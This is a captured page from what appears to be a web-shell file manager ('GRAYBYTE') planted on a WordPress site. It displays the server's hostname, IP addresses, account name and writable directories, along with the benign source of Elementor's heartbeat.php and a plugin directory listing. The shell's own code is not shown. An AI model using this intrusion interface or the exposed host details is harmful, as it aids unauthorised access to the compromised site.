✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server366.web-hosting.com ​🇻​♯➤ 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 67.223.118.204 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/builxejc/public_html/wp-content/plugins/elementor/includes//heartbeat.php
<?php
namespace Elementor;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Elementor heartbeat.
 *
 * Elementor heartbeat handler class is responsible for initializing Elementor
 * heartbeat. The class communicates with WordPress Heartbeat API while working
 * with Elementor.
 *
 * @since 1.0.0
 */
class Heartbeat {

	/**
	 * Heartbeat received.
	 *
	 * Locks the Heartbeat response received when editing with Elementor.
	 *
	 * Fired by `heartbeat_received` filter.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param array $response The Heartbeat response.
	 * @param array $data     The `$_POST` data sent.
	 *
	 * @return array Heartbeat response received.
	 */
	public function heartbeat_received( $response, $data ) {
		if ( isset( $data['elementor_post_lock']['post_ID'] ) ) {
			$post_id = $data['elementor_post_lock']['post_ID'];
			$locked_user = Plugin::$instance->editor->get_locked_user( $post_id );

			if ( ! $locked_user || ! empty( $data['elementor_force_post_lock'] ) ) {
				Plugin::$instance->editor->lock_post( $post_id );
			} else {
				$response['locked_user'] = $locked_user->display_name;
			}

			/** @var Core\Common\Modules\Ajax\Module $ajax */
			$ajax = Plugin::$instance->common->get_component( 'ajax' );

			$response['elementorNonce'] = $ajax->create_nonce();
		}
		return $response;
	}

	/**
	 * Refresh nonces.
	 *
	 * Filter the nonces to send to the editor when editing with Elementor. Used
	 * to refresh the nonce when the nonce expires while editing. This way the
	 * user doesn't need to log-in again as Elementor fetches the new nonce from
	 * the server using ajax.
	 *
	 * Fired by `wp_refresh_nonces` filter.
	 *
	 * @since 1.8.0
	 * @access public
	 *
	 * @param array $response The no-priv Heartbeat response object or array.
	 * @param array $data     The `$_POST` data sent.
	 *
	 * @return array Refreshed nonces.
	 */
	public function refresh_nonces( $response, $data ) {
		if ( isset( $data['elementor_post_lock']['post_ID'] ) ) {
			/** @var Core\Common\Modules\Ajax\Module $ajax */
			$ajax = Plugin::$instance->common->get_component( 'ajax' );

			$response['elementor-refresh-nonces'] = [
				'elementorNonce' => $ajax->create_nonce(),
				'heartbeatNonce' => wp_create_nonce( 'heartbeat-nonce' ),
			];
		}

		return $response;
	}

	/**
	 * Heartbeat constructor.
	 *
	 * Initializing Elementor heartbeat.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function __construct() {
		add_filter( 'heartbeat_received', [ $this, 'heartbeat_received' ], 10, 2 );
		add_filter( 'wp_refresh_nonces', [ $this, 'refresh_nonces' ], 30, 2 );
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
admin-templates
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
base
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
controls
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
editor-templates
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
elements
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
interfaces
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
libraries
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
managers
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
settings
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
template-library
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
widgets
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
api.php
8.67 KB
20 May 2026 4.19 PM
builxejc / builxejc
0644
autoloader.php
9.787 KB
21 Oct 2025 4.51 PM
builxejc / builxejc
0644
beta-testers.php
2.987 KB
23 Apr 2023 3.22 PM
builxejc / builxejc
0644
compatibility.php
10.958 KB
17 Mar 2025 5.28 PM
builxejc / builxejc
0644
conditions.php
2.703 KB
23 Apr 2023 3.22 PM
builxejc / builxejc
0644
db.php
15.895 KB
2 Feb 2026 2.52 PM
builxejc / builxejc
0644
editor-assets-api.php
2.982 KB
30 Mar 2026 1.49 PM
builxejc / builxejc
0644
embed.php
8.476 KB
17 Mar 2025 5.28 PM
builxejc / builxejc
0644
fonts.php
62.528 KB
17 Mar 2025 5.28 PM
builxejc / builxejc
0644
frontend.php
40.028 KB
20 Apr 2026 3.03 PM
builxejc / builxejc
0644
heartbeat.php
2.573 KB
23 Apr 2023 3.22 PM
builxejc / builxejc
0644
maintenance-mode.php
11.158 KB
21 Oct 2025 4.51 PM
builxejc / builxejc
0644
maintenance.php
2.813 KB
17 Mar 2025 5.28 PM
builxejc / builxejc
0644
plugin.php
16.682 KB
26 May 2026 12.54 PM
builxejc / builxejc
0644
preview.php
7.926 KB
20 May 2026 4.19 PM
builxejc / builxejc
0644
rollback.php
4.155 KB
20 Jan 2026 1.22 PM
builxejc / builxejc
0644
shapes.php
7.812 KB
5 Aug 2025 6.00 PM
builxejc / builxejc
0644
stylesheet.php
8.91 KB
15 Sep 2025 2.10 PM
builxejc / builxejc
0644
tracker.php
16.999 KB
10 Nov 2025 4.25 PM
builxejc / builxejc
0644
user-data.php
3.439 KB
21 Oct 2025 4.51 PM
builxejc / builxejc
0644
user.php
9.99 KB
4 Dec 2025 10.09 PM
builxejc / builxejc
0644
utils.php
24.877 KB
20 May 2026 4.19 PM
builxejc / builxejc
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF